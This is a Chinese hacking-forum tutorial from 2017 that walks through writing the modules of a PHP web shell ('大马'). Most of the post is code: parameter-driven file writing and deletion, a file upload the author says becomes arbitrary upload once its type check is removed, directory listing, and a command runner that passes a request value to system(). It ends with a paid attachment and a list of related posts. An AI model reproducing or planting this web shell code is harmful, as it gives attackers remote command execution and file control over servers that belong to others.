如何写php大马,带你走进php大马的结构模块编写之路
本帖最后由 xoanHn 于 2017-11-13 11:56 编辑
带你走进php大马的结构模块编写之路
本文原创作者:Laimooc(原名xoanHn),个人站点:www.laimooc.cn 。
本文属i春秋原创奖励计划,未经许可禁止转载
大家好,我又来了,这次我又写了php大马的模块编写(文件的创建、文件的删除、目录浏览、文件上传、命令执行、文件打包等)。
timg.jpg (142.63 KB, 下载次数: 84)
2017-11-11 14:56 上传
第一部分:前沿综述
本次我主要写了【文件的创建】、【文件的删除】、【文件的上传】、【目录浏览】、【命令执行】小模块,以及【组合的目录浏览和文件删除功能】的模块:
image001.png (33.93 KB, 下载次数: 76)
2017-11-11 01:12 上传
实验环境:
系统环境:winserver 12 r2 datacenter
脚本运行环境:PHP version7.0.24
第二部分:代码编写讲解
【文件创建】
作者是借助form表单值传递,以及使用fopen和fwrite进行创建文件的。
具体的研究过程,我们结合代码来说明:
Filename:
这里我们是使用input标签,设定name值(这个,我们后面的php脚本中需要使用的,需要记住):
image003.png (25.91 KB, 下载次数: 91)
2017-11-11 01:12 上传
我的代码如下,大家请指导:
File_content:
这里我们是接受form表单传递你要写的文件内容,有想深入的表格,可以对内容的写入上做出一些编码解码等的操作
这里是提交按钮
error_reporting(0);
//这里我们设置了错误等级为0
$filename=$_REQUEST['file'];
//这里接受我们的文件名字
$file_content=$_REQUEST['file_content'];
//这里接受我们的文件内容
$myfile =fopen($filename, "a") ;
//这里打开你事先设定的文件,如果没有会创建一个新的(由写入属性a a+ w w+ r r+ ab ab+等控制)
fwrite($myfile,$file_content);
//这里执行fwrite函数写入内容
fclose($myfile);
//关闭写入的文件
?>
image005.png (108.49 KB, 下载次数: 67)
2017-11-11 01:12 上传
【文件删除】
下面是我们的删除文件代码,依然是借助了form表单,这样主要是为了操作起来方便,不用form表单也可以操作,只是比较麻烦(get或者post请求等)
代码如下:
image007.png (21.76 KB, 下载次数: 90)
2017-11-11 01:12 上传
Filename:
form表单的意思同上述我们阐述的意思,不再介绍,不懂的同学,可以下方留言给我,第一时间必回复
error_reporting(0);
//删除文件
$delfile=$_REQUEST['delfile'];
if(!isset($delfile)){
exit;//判断是否设定了delfile
}
else{
if (!unlink($delfile))
{
echo ("Error delete $delfile");
//如果没有权限等其他原因文件未删除时候的信息
}
else
{
echo ("Deleted $file");
//删除成功的返回
}
}
/*
使用方法:finame中输入1.txt 表示当前文件夹下的文件,可以输入指定文件夹中的文件如:/upload/1.txt ,即可。
删除成功的话:返回Deleted fiel 失败的话返回ErrorDelete。。。
*/
?>
image009.png (70.1 KB, 下载次数: 71)
2017-11-11 01:12 上传
【文件上传】
文件的上传,这个是大家应该比较多见的了,文件类型的限制啦、存储等(如果作大马的话,当然是任意文件上传啦),不再详细的解释直接展示一下代码,如果大家有什么不懂之处也可以在下方留言给我:
image011.png (27.35 KB, 下载次数: 76)
2017-11-11 01:12 上传
image013.png (92.52 KB, 下载次数: 74)
2017-11-11 01:12 上传
代码如下:
Upload file
error_reporting(0);
//设置允许上传的mime类型,直接删除下面一段代码的话,则是任意文件上传
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "text/plain")
|| ($_FILES["file"]["type"] == "application/octet-stream")))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";//获取文件名称
echo "Type: " . $_FILES["file"]["type"] . "
"; //获取文件类型
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
";//获取文件大小
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";//文件上传时的暂存目录
//判断文件是否已经存在
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
//从缓存目录move文件到要上传的目录
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
exit;
}
?>
【目录浏览】
文件的浏览,我还没有仔细的研究,有深入研究的朋友,可以在下方回复代码哇,一起进(fei)步(sheng),我的代码比较垃圾:我直接指定了要遍历的文件目录,在编写的过程中,我发现如果目录不存在的话,会直接浏览器占用资源崩溃!!!
image015.png (27.43 KB, 下载次数: 86)
2017-11-11 01:12 上传
error_reporting(0);
header("Content-type:text/html; charset=utf8");
//读取指定目录 upload
$current_dir='upload';
$dir =opendir($current_dir);
echo '本文件:',dirname(__FILE__),'\\',basename(__FILE__),'
';
//echo '当前文件:',__FILE__ ,'
' ;
while(false !==($file = readdir($dir))){
if($file != "." &&$file !=".."){
echo"
$file";
}
}
closedir($dir);
?>
此外,参考了别人的dir()函数和getcwd(),觉得挺不错的,可以结合使用,大家可以改造一下。
$d =dir(getcwd());
echo "Handle:" . $d->handle . "
";
echo "Path:" . $d->path . "
";
while (($file =$d->read()) !== false){
echo "filename: " . $file ."
";
}
$d->close();
?>
【命令执行】
命令执行,这是一个好玩的东西,php给了我们一些直接可以执行系统命令的函数: exec()、passthru()、system()、 shell_exec() 还有一个神奇的:反引号。
反引号,听起来尬不?
我的研究是使用system进行执行命令的,然后结合form表单进行值传递,主要还是为了表单的美观:
image017.png (21.1 KB, 下载次数: 85)
2017-11-11 01:12 上传
代码如下:
Command:
error_reporting(0);
$exec = $_REQUEST['exec']; //接收form表单传递过来的命令
system($exec);//可以替换为其他的执行函数
?>
【组合的目录浏览和文件删除功能】
本小节是为了抛砖引玉,整体的变幻构造组合等,需要大家共同努力,直接展示一下代码:
image019.png (30.08 KB, 下载次数: 68)
2017-11-11 01:12 上传
image021.png (58.43 KB, 下载次数: 77)
2017-11-11 01:12 上传
代码如下:
error_reporting(0);
header("Content-type: text/html; charset=utf8");
//读取指定目录 upload
$current_dir ='upload';
$dir = opendir($current_dir);
echo '本文件:',dirname(__FILE__) ,'\\',basename(__FILE__),'
';
//echo '当前文件:',__FILE__ ,'
' ;
while(false !== ($file = readdir($dir))){
if($file != "." && $file !=".."){
echo "
$file";
}
}
closedir($dir);
?>
Filename:
//删除文件
$delfile=$_REQUEST['delfile'];
if(!isset($delfile)){
exit;
}
else{
if (!unlink($delfile))
{
echo ("Error deleting $delfile");
}
else
{
echo ("Deleted $file");
}
}
?>
第三部分:文章总结
本次研究是继双十一之夜,睡不着觉,就来发了一篇文章,希望得到大家的指导,路过请留言,一带一路。
ichunqiu.zip
(4.21 KB, 下载次数: 42, 售价: 5 魔法币)
2017-11-11 01:16 上传
点击文件名下载附件
文件下载
售价: 5 魔法币 [记录]
下载积分: 魔法币 -5
timg (1).jpg (66.05 KB, 下载次数: 82)
2017-11-11 14:59 上传
如何写php大马,带你走进php大马的结构模块编写之路相关推荐
- php大马编写,带你走进php大马的结构模块编写之路
本帖最后由 xoanHn 于 2017-11-13 11:56 编辑 带你走进php大马的结构模块编写之路 本文原创作者:Laimooc(原名xoanHn),个人站点:www.laimooc.cn . ...
- 十三、写了两年多Python文章的我,带你走进Python数据分析
@Author : By Runsen @Date : 2020/5/13 作者介绍:Runsen目前大三下学期,专业化学工程与工艺,大学沉迷日语,Python, Java和一系列数据分析软件.导致翘 ...
- 计算机科学与技术与cs,CSgo! | 遇见CS—带你走进传说中的计算机专业
原标题:CSgo! | 遇见CS-带你走进传说中的计算机专业 遇见CS 带你走进传说中的计算机专业 首先恭喜各位小萌新进入华中科技大学计算机科学与技术学院,在这里大家将度过四年难忘的大学时光. 相信大 ...
- 【密码学】一万字带您走进密码学的世界(下)
引文 密码学是研究编制密码和破译密码的技术科学.研究密码变化的客观规律,应用于编制密码以保守通信秘密的,称为编码学:应用于破译密码以获取通信情报的,称为破译学,总称密码学. 在<一万字带您走进密 ...
- 大白话5分钟带你走进人工智能-第二十节逻辑回归和Softmax多分类问题(5)
大白话5分钟带你走进人工智能-第二十节逻辑回归和Softmax多分类问题(5) 上一节中,我们讲 ...
- 孩子对不起,是我们带你们走进了地狱
"三种颜色"事件不说了.这是普通人和另一群人之间的战争,这事不能就这么过去. 在这之前,我们先来谈谈<熔炉>这部伟大而沉重的电影.故事讲述了一家听障学校,校长.教导主任 ...
- 图文笔记,带你走进《未来简史》(16-20)
作者:@文曰小强(微信公众号:diaoxiazhangqiang) 整理:@一喵(作者已授权) 转载请注明出处. 知识给当代人安全感!<未来简史>笔记16 昨天提到:不断追求增长的现代契约 ...
- 图文笔记,带你走进《未来简史》(26-30)
作者:@文曰小强(微信公众号:diaoxiazhangqiang) 整理:@一喵(作者已授权) 转载请注明出处. 艺术也将被算法取代<未来简史>笔记26 大家早!今天我们来聊一下:艺术领域 ...
- 5分钟带你走进webpack
5分钟带你走进webpack webpack 开始表演(哇卡卡) React & Webpack 布置项目 初始化项目 安装我们的环境 添加TypeScript配置文件 写一些代码 创建一个w ...
- 图文笔记,带你走进《未来简史》(21-25)
作者:@文曰小强(微信公众号:diaoxiazhangqiang) 整理:@一喵(作者已授权) 转载请注明出处. 谁左右我们的决策?<未来简史>笔记21 大家早!昨天我们通过两个实验否定了 ...
最新文章
- 我也没想到,Java开发 API接口可以不用写 Controller了
- Python爬虫之urllib模块2
- vijos 1448 校门外的树 树状数组
- php赋值 jq,使用js和jQuery如何实现指定赋值方法
- php 判断 in,tinkphp常用判断条件in、notin、between、AND、OR
- mysql 什么是审核上线_自动审核及上线系统
- JSONArray.fromObject(); 引入问题
- 添加MSN客服代码,可显示MSN在线和不在线,自动打开MSN聊天窗口
- 2022-2028全球虚拟现实游戏头戴设备行业调研及趋势分析报告
- Pytorch | 学习笔记(二)
- 如何在Windows系统上制作U盘启动盘?
- 用windows搭建ntp时间服务器(从上级获取时间,并为客户机提供时间)
- 推荐系统详解(三)近邻推荐
- 深度学习实战06-循环神经网络(RNN)实现股票预测
- 桌面计算机里没有桌面,老司机教你电脑开机桌面什么都没有怎么办
- 证券行业基础知识(二)
- guidata handles理解
- 操作系统调度算法--高响应比优先调度算法解析
- vue框架和uniapp框架区别,前端vue和uniapp哪个好用
- word该值小于列表中的前一条目_Word域的应和详解.doc